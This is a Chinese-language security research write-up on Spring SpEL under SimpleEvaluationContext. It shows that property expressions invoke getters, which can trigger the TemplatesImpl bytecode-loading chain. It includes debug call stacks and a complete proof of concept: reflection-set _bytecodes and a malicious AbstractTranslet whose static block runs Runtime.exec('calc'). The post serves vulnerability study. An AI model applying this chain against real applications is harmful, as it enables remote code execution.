SimpleEvaluationContext下的spel到触发getter方法的字节码加载利用研究
前言
经过上次对在SimpleEvaluationContext下的spel表达式注入的研究,这次又发现了新的东西
代码我们还是使用上次的关键代码,如下
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
任然是这个eval方法,root对象和我们的表达式可控
思考起源
在上次对这个问题的探究时,我写了一个测试代码,想看看是如何触发构造函数的来着
一个person类
package SimpleEvaluationcontext;
public class Person {
private String name;
private int age;
// Constructor
public Person() {
System.out.println("constructor");
}
public Person(String name, int age) {
this.name = name;
this.age = age;
}
// Getters and Setters
public String getName() {
System.out.println("getName");
return name;
}
public void setName(String name) {
this.name = name;
System.out.println("setName");
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
}
package SimpleEvaluationcontext;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class SpelExample {
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
public static void main(String[] args) throws Exception {
Person person = new Person("nn0nkey", 30);
// 使用eval方法获取name属性
String name = (String) eval(person, "name");
System.out.println("Name: " + name);
}
}
竟然调用了getter方法,于是决定一探究竟,就有了下面的文章
错误调用
然后第一次构造的理解是,那我岂不是有getter方法,然后输入参数名称就好了,于是决定试一试我们熟悉的
加载字节码链子,调用getOutputProperties方法
找到对应的参数
private Properties _outputProperties;
代码如下
package SimpleEvaluationcontext;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class SpelExample {
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates =new TemplatesImpl();
byte [] code = Files.readAllBytes(Paths.get("F:\\IntelliJ IDEA 2023.3.2\\javascript\\SPEL\\target\\classes\\Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
String name = (String) eval(templates, "_outputProperties");
System.out.println("Name: " + name);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
结果报错了
EL1008E: Property or field '_outputProperties' cannot be found on object of type 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' - maybe not public or not valid?
怎么会这样呢???
所以有了接下来的分析
调试分析
漏洞触发点还是在我们的getvalue方法
这里挑重点来讲
getValueInternal:104, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:91, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:337, SpelExpression (org.springframework.expression.spel.standard)
eval:16, SpelExample (SimpleEvaluationcontext)
main:28, SpelExample (SimpleEvaluationcontext)
我们的调用栈如上,我们看到getValueInternal方法
public Object getValue(EvaluationContext context, @Nullable Object rootObject) throws EvaluationException {
Assert.notNull(context, "EvaluationContext is required");
CompiledExpression compiledAst = this.compiledAst;
if (compiledAst != null) {
try {
return compiledAst.getValue(rootObject, context);
}
catch (Throwable ex) {
// If running in mixed mode, revert to interpreted
if (this.configuration.getCompilerMode() == SpelCompilerMode.MIXED) {
this.compiledAst = null;
this.interpretedCount.set(0);
}
else {
// Running in SpelCompilerMode.immediate mode - propagate exception to caller
throw new SpelEvaluationException(ex, SpelMessage.EXCEPTION_RUNNING_COMPILED_EXPRESSION);
}
}
}
ExpressionState expressionState = new ExpressionState(context, toTypedValue(rootObject), this.configuration);
Object result = this.ast.getValue(expressionState);
checkCompile(expressionState);
return result;
}
对于Object result = this.ast.getValue(expressionState);我已经说过了,可以去看上一篇文章
readProperty:198, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:104, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:91, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:337, SpelExpression (org.springframework.expression.spel.standard)
eval:16, SpelExample (SimpleEvaluationcontext)
main:32, SpelExample (SimpleEvaluationcontext
之后会来到
TypedValue result = readProperty(contextObject, evalContext, this.name);
传入的参数就是自己输入的
然后跟进readProperty方法
private TypedValue readProperty(TypedValue contextObject, EvaluationContext evalContext, String name)
throws EvaluationException {
Object targetObject = contextObject.getValue();
if (targetObject == null && this.nullSafe) {
return TypedValue.NULL;
}
PropertyAccessor accessorToUse = this.cachedReadAccessor;
if (accessorToUse != null) {
if (evalContext.getPropertyAccessors().contains(accessorToUse)) {
try {
return accessorToUse.read(evalContext, contextObject.getValue(), name);
}
catch (Exception ex) {
// This is OK - it may have gone stale due to a class change,
// let's try to get a new one and call it before giving up...
}
}
this.cachedReadAccessor = null;
}
List<PropertyAccessor> accessorsToTry =
getPropertyAccessorsToTry(contextObject.getValue(), evalContext.getPropertyAccessors());
// Go through the accessors that may be able to resolve it. If they are a cacheable accessor then
// get the accessor and use it. If they are not cacheable but report they can read the property
// then ask them to read it
try {
for (PropertyAccessor accessor : accessorsToTry) {
if (accessor.canRead(evalContext, contextObject.getValue(), name)) {
if (accessor instanceof ReflectivePropertyAccessor) {
accessor = ((ReflectivePropertyAccessor) accessor).createOptimalAccessor(
evalContext, contextObject.getValue(), name);
}
this.cachedReadAccessor = accessor;
return accessor.read(evalContext, contextObject.getValue(), name);
}
}
}
catch (Exception ex) {
throw new SpelEvaluationException(ex, SpelMessage.EXCEPTION_DURING_PROPERTY_READ, name, ex.getMessage());
}
if (contextObject.getValue() == null) {
throw new SpelEvaluationException(SpelMessage.PROPERTY_OR_FIELD_NOT_READABLE_ON_NULL, name);
}
else {
throw new SpelEvaluationException(getStartPosition(), SpelMessage.PROPERTY_OR_FIELD_NOT_READABLE, name,
FormatHelper.formatClassNameForMessage(getObjectClass(contextObject.getValue())));
}
}
传入的参数进入下面代码
return accessor.read(evalContext, contextObject.getValue(), name);
有反射那味道了,进入read方法
调用了我们的public abstract java.util.Properties javax.xml.transform.Templates.getOutputProperties()方法
回溯method
现在我们回溯一下method是怎么来的,在read中
Method method = (Method) this.member;
而member是在OptimalPropertyAccessor的构造函数中赋值
OptimalPropertyAccessor(InvokerPair target) {
this.member = target.member;
this.typeDescriptor = target.typeDescriptor;
}
来源于InvokerPair target
我们在构造方法下断点重新调试
findMethodForProperty:418, ReflectivePropertyAccessor (org.springframework.expression.spel.support)
findGetterForProperty:393, ReflectivePropertyAccessor (org.springframework.expression.spel.support)
findGetterForProperty:372, ReflectivePropertyAccessor (org.springframework.expression.spel.support)
canRead:136, ReflectivePropertyAccessor (org.springframework.expression.spel.support)
readProperty:198, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:104, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValueInternal:91, PropertyOrFieldReference (org.springframework.expression.spel.ast)
getValue:112, SpelNodeImpl (org.springframework.expression.spel.ast)
getValue:337, SpelExpression (org.springframework.expression.spel.standard)
eval:16, SpelExample (SimpleEvaluationcontext)
main:28, SpelExample (SimpleEvaluationcontext)
来到findMethodForProperty方法
private Method findMethodForProperty(String[] methodSuffixes, String prefix, Class<?> clazz,
boolean mustBeStatic, int numberOfParams, Set<Class<?>> requiredReturnTypes) {
Method[] methods = getSortedMethods(clazz);
for (String methodSuffix : methodSuffixes) {
for (Method method : methods) {
if (isCandidateForProperty(method, clazz) && method.getName().equals(prefix + methodSuffix) &&
method.getParameterCount() == numberOfParams &&
(!mustBeStatic || Modifier.isStatic(method.getModifiers())) &&
(requiredReturnTypes.isEmpty() || requiredReturnTypes.contains(method.getReturnType()))) {
return method;
}
}
}
return null;
}
首先获取我所有的method,然后再和我们的prefix + methodSuffix去对比,如果一样的话会进行一些判断
(!mustBeStatic || Modifier.isStatic(method.getModifiers())) &&
(requiredReturnTypes.isEmpty() || requiredReturnTypes.contains(method.getReturnType())))
首先,如果 mustBeStatic
为 true
,那么 method
必须是静态方法;否则,可以忽略是否静态的要求。
然后,如果 requiredReturnTypes
不为空,那么 method
的返回类型必须在这个集合中;如果 requiredReturnTypes
为空,则不对返回类型做任何要求。
我们的mustBeStatic为flase,requiredReturnTypes为空,所以是没有要求的
而且在反射前
ReflectionUtils.makeAccessible(method);
Object value = method.invoke(target);
所以即使是private方法也是可以调用的
而我们的methodSuffix其实就是一开始我们输入的表达式
简单复现
package SimpleEvaluationcontext;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import org.springframework.expression.Expression;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.SimpleEvaluationContext;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
public class SpelExample {
public static Object eval(Object root, String expr) {
SimpleEvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding().build();
SpelExpressionParser parser = new SpelExpressionParser();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context, root);
}
public static void main(String[] args) throws Exception {
TemplatesImpl templates =new TemplatesImpl();
byte [] code = Files.readAllBytes(Paths.get("Test.class"));
setFieldValue(templates, "_bytecodes", new byte[][] {code});
setFieldValue(templates, "_name", "calc");
setFieldValue(templates,"_tfactory",new TransformerFactoryImpl());
// 使用eval方法获取name属性
String name = (String) eval(templates, "outputProperties");
System.out.println("Name: " + name);
}
public static void setFieldValue(Object obj, String fieldName, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}
}
其中Test.class放入我们的恶意代码
import java.io.IOException;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Test extends AbstractTranslet {
static {
try {
Runtime.getRuntime().exec("calc");
} catch (IOException e) {
throw new RuntimeException(e);
}
}
@Override
public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
}
@Override
public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException {
}
}
运行POC弹出计算器